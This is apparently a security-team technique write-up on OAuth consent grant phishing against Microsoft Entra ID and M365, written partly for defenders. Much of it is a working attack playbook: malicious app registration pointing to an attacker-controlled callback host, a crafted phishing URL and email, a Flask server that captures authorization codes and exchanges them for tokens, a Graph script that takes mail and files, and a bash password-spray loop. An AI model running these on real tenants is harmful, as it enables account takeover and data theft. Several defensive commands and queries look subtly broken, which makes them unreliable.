| Attribute | Details |
|---|---|
| Technique ID | IA-PHISH-002 |
| MITRE ATT&CK v18.1 | T1566.002 - Phishing: Spearphishing Link |
| Tactic | Initial Access |
| Platforms | Entra ID, M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-10-21 |
| Affected Versions | All Entra ID versions (all Microsoft 365 subscription levels); Defender for Cloud Apps required for detection |
| Patched In | N/A (OAuth inherent design; mitigations via policy and detection only) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) not included because no standardized Atomic test exists for OAuth consent phishing. All section numbers have been dynamically renumbered based on applicability.
Concept: OAuth consent grant phishing (also known as “illicit consent grant” attacks) exploits the legitimate OAuth 2.0 authorization code grant flow by tricking users into granting permissions to malicious applications that appear legitimate. Unlike device code phishing (IA-PHISH-001), this attack does not require secret device codes or user input validation—attackers simply craft a phishing link pointing to Microsoft’s real OAuth authorization endpoint with a malicious client ID. When the victim clicks the link, authenticates, and clicks “Accept” on the consent screen, the attacker receives an authorization code that can be exchanged for an access token, refresh token, and ID token. Once tokens are obtained, attackers can access the victim’s emails, files, calendars, contacts, and other M365 resources indefinitely—even after password resets or MFA changes—because OAuth tokens bypass credential-based authentication.
Attack Surface: The attack leverages Microsoft’s legitimate OAuth infrastructure and trust in first-party clients. No malicious payloads, domains, or server interactions are required beyond the initial phishing link delivery. Applications can be registered within the victim’s own tenant (elevated privilege required but common in unhardened environments) or externally (easier but lower impact without admin consent bypass).
Business Impact: Critical exposure and persistent breach. This technique has been exploited by state-sponsored actors (Midnight Blizzard/APT29, Storm-2372), criminal groups (Tycoon 2FA phishing kit with 3,000+ compromised accounts in 2025), and is actively weaponized at scale. Once tokens are obtained, attackers maintain account-level access indefinitely, can exfiltrate all accessible data, perform lateral movement within M365 (Teams, SharePoint, Outlook forwarding rules), and—if admin consent is obtained—can compromise the entire tenant via backdoored applications. Tokens persist across password resets, MFA changes, and Conditional Access policy updates, making remediation extremely difficult.
Technical Context: OAuth consent phishing campaigns ramped significantly in 2025. Proofpoint reported over 900 M365 environments targeted with 3,000+ affected accounts and a 50%+ success rate. Risk-based step-up consent (enabled by default in Entra ID) partially mitigates the attack by requiring admin approval for apps without verified publishers, but attackers circumvent this via publisher verification spoofing, compromised legitimate accounts, and verified apps. Tokens can remain active for months before manual revocation occurs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2, 5.3 | Lack of application governance, MFA enforcement, and Conditional Access policies enable unauthorized OAuth app access. |
| DISA STIG | AC-2, AC-3, SC-7 | Inadequate account management, access control, and boundary protection. |
| CISA SCuBA | AppM-1, IdM-1 | Weak application governance and identity management. |
| NIST 800-53 | AC-2, AC-3, AC-6, SI-4, SI-12 | Account management, access enforcement, privilege restrictions, monitoring, information handling. |
| GDPR | Art. 32, 33 | Insufficient security measures; breach notification requirements. |
| DORA | Art. 9, 18 | ICT risk management and incident reporting. |
| NIS2 | Art. 21, 23 | Cyber security measures and incident reporting. |
| ISO 27001 | A.8.1.1, A.9.1.1, A.9.2.1 | User access management, access control, and authentication mechanisms. |
| ISO 27005 | Risk Scenario: “Unauthorized Application Access” | Inadequate consent controls and application governance. |
Required Privileges:
portal.azure.com.Required Access:
login.microsoftonline.com).Supported Versions:
Tools & Environment:
portal.azure.com) to register malicious application.Management Portal / PowerShell Reconnaissance:
# Connect to Entra ID
Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.ReadWrite.Directory"
# List all registered applications (including malicious ones)
Get-MgApplication -All | `
Select-Object DisplayName, AppId, CreatedDateTime, PublisherName, SignInAudience | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-7) } | `
Format-Table
# Identify applications with Mail.Read, Files.Read, or offline_access permissions
Get-MgApplication -All | `
ForEach-Object {
$app = $_
$perms = Get-MgApplicationRequiredResourceAccess -ApplicationId $app.Id
if ($perms.ResourceAccess.Id -match "(Mail\.Read|Files\.Read|offline_access)") {
Write-Host "[!] Risky app detected: $($app.DisplayName) (ID: $($app.AppId))"
$perms | Select-Object -ExpandProperty ResourceAccess
}
}
# Identify applications with admin consent
Get-MgOauth2PermissionGrant -All | `
Where-Object { $_.ConsentType -eq "AllPrincipals" } | `
Select-Object ClientAppDisplayName, ResourceDisplayName, Scope | `
Format-Table
What to Look For:
Cloud App Discovery:
# Query Entra ID audit logs for consent grants in past 24 hours
Connect-MgGraph -Scopes "AuditLog.Read.All"
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Consent to application'" | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddHours(-24) } | `
Select-Object CreatedDateTime, InitiatedByUserPrincipalName, TargetResources | `
ForEach-Object {
$consent = $_
Write-Host "[*] Consent granted at $($consent.CreatedDateTime)"
Write-Host " User: $($consent.InitiatedByUserPrincipalName)"
Write-Host " App: $($consent.TargetResources[0].DisplayName)"
}
Verify OAuth Token Activity:
# Search for Graph API usage by newly created apps
Search-UnifiedAuditLog -Operations "Update OAuth2PermissionGrant", "Add OAuth2PermissionGrant" | `
Where-Object { $_.CreatedDate -gt (Get-Date).AddDays(-7) } | `
Select-Object UserIds, Operations, ResultIndex | `
Export-Csv -Path "C:\Audit\oauth_grant_activity.csv"
Supported Versions: Entra ID all versions; M365 all subscription levels
Scenario: Attacker creates a malicious application in their own Azure AD tenant, configures it to request broad permissions (Mail.Read, offline_access), and sends a phishing link to victims in the target organization. Victims authenticate and grant consent, enabling the attacker to access their data indefinitely.
Objective: Create an OAuth application that will request victim’s data access.
Manual Steps (Azure Portal):
portal.azure.com)SharePoint Integration Helper (appear legitimate)Accounts in any organizational directory (Multi-tenant)https://attacker-server.com/auth/callback (attacker-controlled server to collect authorization codes)a1b2c3d4-e5f6-7890-abcd-ef1234567890)PowerShell Alternative:
Connect-AzureAD -Credential (Get-Credential)
# Register the malicious application
$appRegistration = New-AzureADApplication `
-DisplayName "SharePoint Integration Helper" `
-PublicClient $false `
-ReplyUrls @("https://attacker-server.com/auth/callback")
$appId = $appRegistration.AppId
Write-Host "[+] Application registered with ID: $appId"
Objective: Request broad permissions that the application will request from victims.
Manual Steps (Azure Portal):
PowerShell Alternative:
# Add required permissions to the app
$requiredPermissions = @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{ Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; Type = "Scope" } # Mail.Read
@{ Id = "37f7f235-527c-4136-accd-4a02d197296e"; Type = "Scope" } # offline_access
@{ Id = "14dad69e-099b-42c9-810b-d002981fedc1"; Type = "Scope" } # Files.Read
)
}
)
Set-AzureADApplication -ObjectId $appRegistration.ObjectId -RequiredResourceAccess $requiredPermissions
What This Means:
Objective: Generate credentials for the attacker’s backend to exchange authorization codes for tokens.
Manual Steps (Azure Portal):
OAuth Token Exchange24 months (long-term access)Expected Output:
Client Secret Value: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p_
What This Means:
Objective: Generate a URL that, when clicked by the victim, initiates the OAuth authorization flow targeting the victim’s organization.
Python Script:
import urllib.parse
import uuid
# Attacker's OAuth details
client_id = "a1b2c3d4-e5f6-7890-abcd-ef1234567890" # Malicious app's client ID
tenant_id = "organizations" # Multi-tenant (victim's tenant will be determined at sign-in)
redirect_uri = "https://attacker-server.com/auth/callback"
scope = "https://graph.microsoft.com/.default offline_access openid profile email" # Broad permissions
state = str(uuid.uuid4()) # CSRF protection (not validated by most victims)
# Construct OAuth authorization URL
oauth_url = (
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize?"
f"client_id={urllib.parse.quote(client_id)}&"
f"response_type=code&"
f"redirect_uri={urllib.parse.quote(redirect_uri)}&"
f"scope={urllib.parse.quote(scope)}&"
f"state={state}&"
f"response_mode=query&"
f"login_hint=alice@targetorg.com" # Pre-fill victim's email (optional but increases success)
)
print(f"[+] Phishing OAuth URL:")
print(oauth_url)
# Shorten URL for phishing campaign (e.g., bit.ly, tinyurl)
# Example shortened: https://bit.ly/oauth-sharepoint
Phishing Email Template:
Subject: Action Required: Update SharePoint Integration
Hi Alice,
Please click the link below to update your SharePoint Integration permissions. This is required to access shared documents.
[CLICK HERE TO UPDATE](https://bit.ly/oauth-sharepoint)
This usually takes less than 1 minute.
Thanks,
IT Support Team
What This Means:
login.microsoftonline.com).client_id parameter specifies the attacker’s malicious application.redirect_uri parameter specifies where the authorization code should be sent after the victim authenticates and grants consent.scope parameter defines what permissions are requested (Mail.Read, offline_access, etc.).login_hint parameter pre-fills the victim’s email, reducing friction and increasing success rate.Objective: Deliver the phishing URL to victims via email or messaging platforms.
Email Delivery (Compromised Account):
# If attacker has compromised a legitimate internal account:
Send-MgUserMail -UserId "compromised-user@targetorg.com" `
-Message @{
Subject = "Action Required: Update SharePoint Integration"
Body = @{
ContentType = "HTML"
Content = @"
<p>Hi Alice,</p>
<p>Please click the link below to update your SharePoint Integration permissions.</p>
<p><a href='https://bit.ly/oauth-sharepoint'>CLICK HERE TO UPDATE</a></p>
<p>This usually takes less than 1 minute.</p>
<p>Thanks,<br>IT Support Team</p>
"@
}
ToRecipients = @(@{ EmailAddress = @{ Address = "alice@targetorg.com" } })
}
Mass Campaign (Using Tycoon 2FA Phishing Kit - 2025):
Proofpoint identified phishing kits like “Tycoon 2FA” that:
Example Tycoon Campaign Metrics (2025):
Objective: When victim clicks the link and grants consent, capture the authorization code.
Victim’s Browser Flow:
1. Victim clicks phishing link
2. Microsoft's login page loads (legitimate)
3. Victim enters credentials (attacker captures if AiTM proxy used)
4. Microsoft prompts for consent:
"SharePoint Integration Helper is requesting access to:"
- Read your mail
- Access your files
- View your calendar
- [ACCEPT] [CANCEL]
5. Victim clicks [ACCEPT]
6. Browser redirects to: https://attacker-server.com/auth/callback?code=M.R3_BAY...&session_state=abc123
Attacker’s Web Server (Node.js / Python):
from flask import Flask, request
import requests
app = Flask(__name__)
# Attacker's OAuth details
client_id = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
client_secret = "1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p_"
token_url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
@app.route("/auth/callback", methods=["GET"])
def oauth_callback():
# Capture authorization code from redirect
code = request.args.get("code")
state = request.args.get("state")
if not code:
return "Error: No authorization code received", 400
print(f"[+] Authorization code captured: {code[:50]}...")
# Exchange code for access token
token_payload = {
"client_id": client_id,
"client_secret": client_secret,
"code": code,
"redirect_uri": "https://attacker-server.com/auth/callback",
"grant_type": "authorization_code",
"scope": "https://graph.microsoft.com/.default offline_access openid profile"
}
token_response = requests.post(token_url, data=token_payload)
token_data = token_response.json()
if "access_token" in token_data:
access_token = token_data["access_token"]
refresh_token = token_data.get("refresh_token")
print(f"[+] Tokens received!")
print(f" Access Token (first 50 chars): {access_token[:50]}...")
print(f" Refresh Token: {refresh_token[:50] if refresh_token else 'N/A'}...")
# Save tokens to database for later use
save_tokens_to_database(access_token, refresh_token)
# Redirect victim to legitimate SharePoint to appear normal
return redirect("https://sharepoint.microsoft.com")
else:
error = token_data.get("error")
print(f"[!] Error exchanging code: {error}")
return f"Error: {error}", 400
if __name__ == "__main__":
app.run(host="0.0.0.0", port=443, ssl_context="adhoc")
What This Means:
Objective: Use the access token to access victim’s data via Microsoft Graph API.
Python Script:
import requests
import json
access_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..." # Stolen token from victim
refresh_token = "0.ARQAv4J..." # For long-term access
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
print("[+] Exfiltrating victim's data...")
# 1. Extract emails
print("\n[*] Extracting emails...")
emails_url = "https://graph.microsoft.com/v1.0/me/messages?$top=100"
emails_response = requests.get(emails_url, headers=headers)
emails = emails_response.json()["value"]
for email in emails[:10]: # First 10 emails
print(f" From: {email['from']['emailAddress']['address']}")
print(f" Subject: {email['subject']}")
print(f" Body Preview: {email['bodyPreview'][:100]}...")
# Save email to attacker's server
with open(f"exfil/{email['id']}.json", "w") as f:
json.dump(email, f)
# 2. Search for sensitive information in emails
print("\n[*] Searching for sensitive keywords...")
sensitive_keywords = ["password", "credentials", "api key", "secret", "admin", "vpn", "teamviewer"]
for keyword in sensitive_keywords:
search_url = f"https://graph.microsoft.com/v1.0/me/messages?$search=\"{keyword}\""
search_response = requests.get(search_url, headers=headers)
matches = search_response.json()["value"]
if matches:
print(f" [!] Found {len(matches)} emails with '{keyword}'")
for match in matches[:3]:
print(f" - {match['subject']}")
# 3. Extract files from OneDrive
print("\n[*] Extracting files from OneDrive...")
files_url = "https://graph.microsoft.com/v1.0/me/drive/root/children"
files_response = requests.get(files_url, headers=headers)
files = files_response.json()["value"]
for file in files[:20]:
if "folder" not in file:
print(f" - {file['name']} ({file['size']} bytes)")
# 4. Extract calendar events
print("\n[*] Extracting calendar events...")
calendar_url = "https://graph.microsoft.com/v1.0/me/calendar/events"
calendar_response = requests.get(calendar_url, headers=headers)
events = calendar_response.json()["value"]
for event in events[:10]:
print(f" - {event['subject']} ({event['start']['dateTime']})")
print("\n[+] Exfiltration complete. Data saved to attacker's server.")
Expected Output:
[+] Exfiltrating victim's data...
[*] Extracting emails...
From: ceo@targetorg.com
Subject: Q4 2025 Budget Approval - CONFIDENTIAL
Body Preview: Alice, Please review the attached budget proposal. This is...
[!] Found 23 emails with 'password'
- IT: Password Reset Procedure
- Admin: Domain Admin Credentials
- HR: New Employee Onboarding - temp password
[*] Extracting files from OneDrive...
- Financial_Forecast_2025.xlsx (2.5 MB)
- Customer_Database.csv (850 KB)
- Executive_Strategy_Plan.docx (1.2 MB)
What This Means:
Supported Versions: Entra ID all versions; requires compromised internal account
Scenario: Attacker has compromised an internal user account (via password spray, credential stuffing, or initial breach). Attacker uses this account to create a malicious application INSIDE the victim’s organization, then grants it broad permissions. Because the app is internal and created by a legitimate user, it bypasses risk-based step-up consent. Attacker then sends phishing emails from the compromised account to other users, requesting they grant consent to the malicious app.
Objective: Gain access to an internal user account.
Tactics:
Example (Password Spray):
#!/bin/bash
# Spray common passwords against target organization
TARGET_TENANT="target.onmicrosoft.com"
PASSWORDS=("Welcome123" "Password123" "Company2025" "SecurePass!" "Admin123")
for password in "${PASSWORDS[@]}"; do
for user in alice john sarah admin; do
UPN="${user}@${TARGET_TENANT}"
# Attempt to authenticate via OAuth
RESPONSE=$(curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&scope=https://graph.microsoft.com/.default&username=${UPN}&password=${password}&grant_type=password" \
-H "Content-Type: application/x-www-form-urlencoded")
if echo $RESPONSE | grep -q "access_token"; then
echo "[+] SUCCESS: ${UPN} / ${password}"
echo "$RESPONSE" > "${UPN}_tokens.json"
break 2
fi
done
done
Objective: Create an app that appears to be an internal tool.
PowerShell (Using Compromised Account):
# Connect as compromised user
$cred = Get-Credential # Compromised user's credentials
Connect-MgGraph -Scopes "Application.ReadWrite.All" -Credential $cred
# Register malicious app inside victim's tenant
$appRegistration = New-MgApplication `
-DisplayName "Teams Notification Integration" `
-Description "Internal integration for Teams notifications" `
-PublicClient $false
$appId = $appRegistration.AppId
Write-Host "[+] App registered internally: $appId"
# Add permissions (Mail.Read, Files.Read, offline_access)
$requiredPermissions = @{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{ Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; Type = "Scope" } # Mail.Read
@{ Id = "37f7f235-527c-4136-accd-4a02d197296e"; Type = "Scope" } # offline_access
)
}
Update-MgApplication -ApplicationId $appId -RequiredResourceAccess @($requiredPermissions)
# Create client secret
$secret = Add-MgApplicationPassword -ApplicationId $appId -DisplayName "IntegrationSecret"
Write-Host "[+] Client Secret: $($secret.SecretText)"
Objective: If compromised account is an admin, grant app broad permissions automatically.
PowerShell:
# Grant admin consent on behalf of all users
Update-MgApplicationRequiredResourceAccess -ApplicationId $appId
# Approve the consent
$clientId = (Get-MgApplication -ApplicationId $appId).AppId
$resourceId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
New-MgOauth2PermissionGrant `
-ClientId $clientId `
-ResourceId $resourceId `
-ConsentType "AllPrincipals" `
-Scope "Mail.Read Files.Read offline_access"
What This Means:
Attacker crafts phishing URL, sends to other users, collects tokens, and exfiltrates data.
Version: 2.0+
Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage (Reconnaissance - for defenders):
# List all OAuth applications
Get-MgApplication -All | Select-Object DisplayName, AppId, CreatedDateTime
# Extract application permissions
Get-MgApplicationRequiredResourceAccess -ApplicationId "app-id" | Select-Object ResourceAccess
For application registration and consent management:
# Register application
New-AzureADApplication -DisplayName "Malicious App"
# Add permissions
New-AzureADApplicationKeyCredential -ObjectId "app-object-id"
# Grant consent
New-AzureADOAuth2PermissionGrant -ClientId "app-id" -ConsentType "AllPrincipals" -ResourceId "graph-id"
For OAuth token exchange and Graph API access:
import requests
import json
# Exchange authorization code for tokens
token_response = requests.post(
"https://login.microsoftonline.com/organizations/oauth2/v2.0/token",
data={
"client_id": "app-id",
"client_secret": "app-secret",
"code": "authorization-code",
"grant_type": "authorization_code",
"redirect_uri": "callback-url"
}
)
tokens = token_response.json()
access_token = tokens["access_token"]
# Use access token to call Graph API
graph_response = requests.get(
"https://graph.microsoft.com/v1.0/me/messages",
headers={"Authorization": f"Bearer {access_token}"}
)
Capabilities:
Infrastructure (2025 Campaign):
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Consent to application"
| extend TargetApp = TargetResources[0].DisplayName,
AppId = tostring(TargetResources[0].id),
GrantedScopes = extract_json("$.ConsentAction.Permissions", tostring(TargetResources[0].ModifiedProperties[0].NewValue))
| where GrantedScopes has_any ("Mail.Read", "Files.Read", "offline_access")
| where not(TargetResources[0].DisplayName has_any ("Microsoft Teams", "Visual Studio Code", "Azure CLI"))
| extend Publisher = tostring(TargetResources[0].DisplayName)
| where Publisher has_any ("helper", "integration", "sync", "share") or Parser has "^[A-Z]+ [A-Z]+" // suspicious naming
| project TimeGenerated, UserPrincipalName, TargetApp, AppId, GrantedScopes, IPAddress, UserAgent
| summarize GrantCount = count(), UniqueScopes = dcount(GrantedScopes) by UserPrincipalName, TargetApp, AppId
| where GrantCount > 1 or UniqueScopes > 3
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious OAuth Consent Grant to Risky AppsHighEvery 5 minutesKQL Query:
AuditLogs
| where OperationName == "Consent to application" or OperationName == "Add OAuth2PermissionGrant"
| extend TargetApp = TargetResources[0].DisplayName,
ConsentType = extract_json("$.ConsentAction.IsAdminConsent", tostring(TargetResources[0].ModifiedProperties[0].NewValue)),
Scopes = extract_json("$.ConsentAction.Permissions", tostring(TargetResources[0].ModifiedProperties[0].NewValue))
| where ConsentType has "true" // Admin consent granted
| where Scopes has_any ("Directory.ReadWrite.All", "Mail.ReadWrite", "Sites.Manage.All")
| project TimeGenerated, InitiatedByUserPrincipalName, TargetApp, Scopes, OperationName
KQL Query:
AuditLogs
| where OperationName == "Consent to application"
| project TimeGenerated, UserPrincipalName, TargetResources
| summarize GrantCount = count(),
FirstGrant = min(TimeGenerated),
LastGrant = max(TimeGenerated),
GrantedApps = make_set(TargetResources[0].DisplayName)
by UserPrincipalName
| where (LastGrant - FirstGrant) < 1h and GrantCount > 3 // 3+ grants in 1 hour = suspicious
| project UserPrincipalName, GrantCount, FirstGrant, LastGrant, GrantedApps
Event ID: 4624 (Successful Logon) — Limited Relevance
Event ID: 4688 (Process Creation) — Limited Relevance
Note: OAuth consent phishing is primarily a cloud-based attack; Windows event logs provide limited visibility. Focus on Entra ID and Purview logs instead.
Manual Configuration Steps (Enable Unified Audit Log):
PowerShell Query:
Connect-ExchangeOnline
# Search for OAuth consent grants in past 7 days
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-7) `
-Operations "Consent to application", "Add OAuth2PermissionGrant", "Update OAuth2PermissionGrant" `
-ResultSize 1000 | `
Select-Object UserIds, Operations, CreatedDate, AuditData | `
Export-Csv -Path "C:\Audit\oauth_consent.csv"
# Search for application creation
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-7) `
-Operations "Add application", "Update application" `
-ResultSize 1000 | `
Select-Object UserIds, CreatedDate, AuditData | `
Export-Csv -Path "C:\Audit\app_creation.csv"
# Parse and analyze
$auditData = Import-Csv "C:\Audit\oauth_consent.csv"
$auditData | ForEach-Object {
$data = $_ | ConvertFrom-Json
Write-Host "[*] $($_.UserIds) granted consent to $($data.TargetResources[0].DisplayName) at $($_.CreatedDate)"
}
What to Look For:
1. Block User Consent for Non-Verified Applications
This is the primary mitigation. By default, prevent users from consenting to apps without verified publishers.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# Disable user consent
Update-MgPolicyScopedRoleAdminPolicy `
-IsEnabled $false `
-PermissionGrantPolicies @("default-user-consent-policy")
# Alternative: Block all except verified publishers
$params = @{
id = "4d3e6e09-ba7c-4e0f-aaa0-aa4c42f6d2a5"
definition = @("BlockUserConsentForNonVerifiedApps")
}
Update-MgPolicyScopedRoleAdminPolicy -BodyParameter $params
What This Does:
Impact:
2. Enable Risk-Based Step-Up Consent (Default in 2025)
Microsoft has enabled this by default starting July 2025. Automatically blocks risky consent requests.
Manual Steps (Azure Portal - Verification):
What This Does:
3. Restrict User Permissions to Create Applications
By default, all users can create applications in Entra ID. Restrict this to admins only.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
# Disable app creation for regular users
Update-MgPolicyScopedRoleAdminPolicy `
-AllowUserCreatedAppRegistrations $false
What This Does:
Impact:
4. Require Admin Consent for Office 365 Graph Scopes
Prevent users from granting access to sensitive Microsoft Graph scopes without admin approval.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Create custom app consent policy
$params = @{
DisplayName = "Block High-Risk OAuth Scopes"
Description = "Requires admin approval for Mail.Read, Files.Read, offline_access"
Restrictions = @{
Permissions = @{
ResourceApplicationId = "00000003-0000-0000-c000-000000000000"
PermissionIds = @(
"e1fe6dd8-ba31-4d61-89e7-88639da4683d", # Mail.Read
"37f7f235-527c-4136-accd-4a02d197296e" # offline_access
)
}
}
}
New-MgIdentityAppConsentPolicy -BodyParameter $params
5. Monitor and Audit OAuth Application Permissions
Regularly review which applications have been granted consent.
PowerShell Command (Monthly Audit):
# Export all OAuth permission grants
Get-MgOauth2PermissionGrant -All | `
Select-Object ClientAppDisplayName, ResourceDisplayName, Scope, CreatedDateTime | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddMonths(-1) } | `
Export-Csv -Path "C:\Audit\oauth_permissions_$(Get-Date -Format 'yyyy-MM-dd').csv"
# Identify high-risk permissions
Get-MgOauth2PermissionGrant -All | `
Where-Object { $_.Scope -like "*Mail*" -or $_.Scope -like "*Files*" -or $_.Scope -like "*offline*" } | `
Select-Object ClientAppDisplayName, Scope | `
Format-Table
6. Configure Conditional Access Policies for OAuth Apps
Use Conditional Access to restrict OAuth app usage based on device compliance, location, and other risk factors.
Manual Steps (Azure Portal):
Restrict High-Risk OAuth Apps7. Implement Verified Publisher Verification
Encourage legitimate app developers to undergo Microsoft’s verification process. Block unverified apps.
Manual Steps:
8. Enable Enhanced Logging and Monitoring
Ensure all Entra ID and M365 audit logs are streamed to SIEM or Log Analytics for detection.
Manual Steps (Azure Portal):
Validation Command (Verify Mitigations):
# Check user consent settings
Get-MgPolicyScopedRoleAdminPolicy | Select-Object IsEnabled, PermissionGrantPolicies
# Check if user app registration is disabled
Get-MgPolicyScopedRoleAdminPolicy | Select-Object AllowUserCreatedAppRegistrations
# List all OAuth permission grants (should be minimal)
Get-MgOauth2PermissionGrant -All | Measure-Object
Expected Output (If Secure):
IsEnabled: False
AllowUserCreatedAppRegistrations: False
OAuth2PermissionGrant Count: < 10 (only approved apps)
Entra ID/M365 IOCs:
Email/Phishing IOCs:
login.microsoftonline.com OAuth endpoints.Cloud/Azure:
On-Premises (If Hybrid):
C:\ProgramData\Aadconnect\trace may show it.Immediate Actions (0-30 minutes):
# Find user who granted suspicious consent
$suspiciousConsent = Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Consent to application'" | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddHours(-1) }
$comprom ised User = $suspiciousConsent.InitiatedByUserPrincipalName
Write-Host "[!] Compromised user: $compromisedUser"
# Revoke all refresh tokens and active sessions
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq '$compromisedUser'").Id
# Force re-authentication on next sign-in
Update-MgUser -UserId $compromisedUser -ForceChangePasswordNextSignIn $true
# List all consents granted by compromised user
Get-MgOauth2PermissionGrant -All | `
Where-Object { $_.PrincipalDisplayName -eq $compromisedUser } | `
ForEach-Object { Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $_.Id }
# Find the malicious app
$maliciousApp = Get-MgApplication -Filter "displayName eq 'SharePoint Integration Helper'"
if ($maliciousApp) {
# Remove all OAuth grants for the app
Get-MgOauth2PermissionGrant -All | `
Where-Object { $_.ClientAppId -eq $maliciousApp.AppId } | `
ForEach-Object { Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $_.Id }
# Delete the application
Remove-MgApplication -ApplicationId $maliciousApp.Id
Write-Host "[+] Malicious app deleted: $($maliciousApp.DisplayName)"
}
$tempPassword = -join ((33..126) | Get-Random -Count 16 | ForEach-Object {[char]$_})
Update-MgUser -UserId $compromisedUser -PasswordProfile @{
Password = $tempPassword
ForceChangePasswordNextSignIn = $true
}
Write-Host "[+] Password reset. Temp password: $tempPassword (share via secure channel)"
Containment (30 minutes - 2 hours):
# Check what data was accessed via OAuth token
$auditData = Search-UnifiedAuditLog -UserIds "attacker@external.com" -StartDate (Get-Date).AddDays(-7) | `
Where-Object { $_.Operations -like "*Mail*" -or $_.Operations -like "*OneDrive*" }
$auditData | Select-Object UserIds, Operations, CreatedDate | Format-Table
# Estimate data loss
$exfiltratedEmails = ($auditData | Where-Object { $_.Operations -eq "Get user mail items" }).Count
Write-Host "[!] Estimated exfiltrated emails: $exfiltratedEmails"
# Search for phishing emails sent from compromised account
Get-MgUserMessage -UserId $compromisedUser -Filter "from/emailAddress/address eq '$compromisedUser'" | `
Where-Object { $_.SentDateTime -gt (Get-Date).AddDays(-1) } | `
Select-Object Subject, ReceivedDateTime, ToRecipients | `
ForEach-Object {
Write-Host "[!] Suspicious email: $($_.Subject) sent to $($_.ToRecipients.EmailAddress.Address)"
}
# Check if attacker created email forwarding rules
Get-MgUserMailFolderMessageRule -UserId $compromisedUser | `
Where-Object { $_.Actions -contains "ForwardAsAttachmentToRecipients" } | `
Select-Object DisplayName, Actions | `
ForEach-Object { Remove-MgUserMailFolderMessageRule -UserId $compromisedUser -RuleId $_.Id }
Recovery (2-24 hours):
# Find all users who granted consent in the past 7 days
$allConsents = Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Consent to application'" | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-7) }
# Identify users with unusual patterns (multiple consents, risky apps)
$allConsents | Group-Object InitiatedByUserPrincipalName | `
Where-Object { $_.Count -gt 3 } | `
ForEach-Object {
Write-Host "[!] POTENTIAL COMPROMISE: $($_.Name) granted $($_.Count) consents"
}
Subject: Security Incident: Unauthorized OAuth Access
We detected unauthorized access to your M365 account via malicious OAuth application.
IMMEDIATE ACTIONS TAKEN:
✓ All sessions revoked
✓ Password reset required on next sign-in
✓ Malicious application deleted
✓ OAuth permissions revoked
INVESTIGATION FINDINGS:
- Compromised user: alice@company.com
- Malicious app: SharePoint Integration Helper
- Data accessed: 45 emails, 12 files
- Persistence duration: ~3 days (Dec 20-23, 2025)
NEXT STEPS:
1. Use temporary password provided separately to sign in
2. Change password to a strong, unique one
3. Review email forwarding rules (Settings → Forwarding)
4. Enable Windows Hello for Business or security key
5. Do not access suspicious links or grant unexpected consents
Questions? Contact: security@company.com
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] | Consent Grant OAuth Phishing — attacker tricks user into granting OAuth permissions |
| 2 | Credential Access | T1110 (Brute Force) | Attacker searches emails for passwords, credentials, admin details |
| 3 | Persistence | T1534 (Internal Phishing) | Attacker sends internal phishing from compromised account to other users |
| 4 | Lateral Movement | IA-PHISH-005 (Internal Spearphishing) | Attacker uses compromised account to target other high-value users |
| 5 | Privilege Escalation | T1098 (Account Manipulation) | If compromised user is admin, attacker grants malicious app tenant-wide permissions |
| 6 | Impact | T1537 (Transfer Data to Cloud Account) | Attacker exfiltrates emails, files, Teams messages, contacts |
Attribution: Russian SVR (Foreign Intelligence Service)
Target: Microsoft corporate environment
Timeline: Gained initial access in November 2023; detected January 2024
Attack Methodology:
Office 365 Exchange Online full_access_as_app role.Detected by: Microsoft’s EWS (Exchange Web Services) audit logs revealed unusual access patterns.
Impact:
References:
Attribution: Criminal phishing-as-a-service (PhaaS) operators
Target: Organizations across all sectors; 3,000+ user accounts in 900+ M365 environments
Timeline: Active since early 2025; ongoing as of October 2025
Attack Methodology:
Success Metrics:
Detection/Mitigation:
References:
Attribution: Russian state-backed threat group
Target: NGOs, government agencies, defense contractors, research institutions
Timeline: Active since 2024; continues into 2025
Attack Methodology:
Detection:
Impact:
References: